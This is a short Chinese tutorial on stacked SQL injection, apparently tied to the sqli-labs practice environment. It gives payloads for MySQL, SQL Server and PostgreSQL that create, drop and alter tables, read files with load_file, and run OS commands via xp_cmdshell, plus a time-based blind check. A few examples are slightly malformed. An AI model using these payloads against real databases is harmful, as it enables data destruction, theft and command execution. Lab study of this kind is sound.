原理
执行多条语句,多语句之间以分号隔开。首先访问id=1'页面显示错误,id=1'%23,页面返回正常结果。可使用布尔注入、时间注入、也可堆叠注入。
';select if(substr(user(),1,1)='r',sleep(3),1)%23
堆叠注入的局限性在于并不是每一个环境下都可以执行, 可能受到 API 或者数据库引擎不支持的限制, 当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
各个数据库实例介绍
Mysql数据库
#新建一个表
select * from users where id=1;create table test like users;
#删除上面新建的 test 表
select * from users where id=1;drop table test;
#查询数据
select * from users where id=1;select 1,2,3;
#加载文件
select * from users where id=1;select load_file('c:/tmpupbbn.php');
#添加数据
select * from users where id=1;insert into users(id,username,password)
values('100','new','new');
Sql server 数据库
#增加数据表
select * from test;create table sc3(ss CHAR(8));
#删除数据表
select * from test;drop table sc3;
#查询数据
select 1,2,3;select * from test;
#修改数据
select * from test;update test set name='test' where id=3;
#sqlserver 中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig
Oracle数据库
oracle 不能使用堆叠注入,当有两条语句在同一行时, 直接报错。无效字符。
Postgresql数据库
#新建一个表
select * from user_test;create table user_data(id DATE);
#删除上面新建的
user_data 表 select * from user_test;delete from user_data;
#查询数据
select * from user_test;select 1,2,3;
#修改数据
select * from user_test;update user_test set name='modify' where name='张三
';
sqli-labs实例:Less-5
堆叠注入
执行多条语句,多语句用分号隔开。
';select if(substr(user(),1,1)='r',sleep(3),1)%23
第二条语句用的是时间盲注。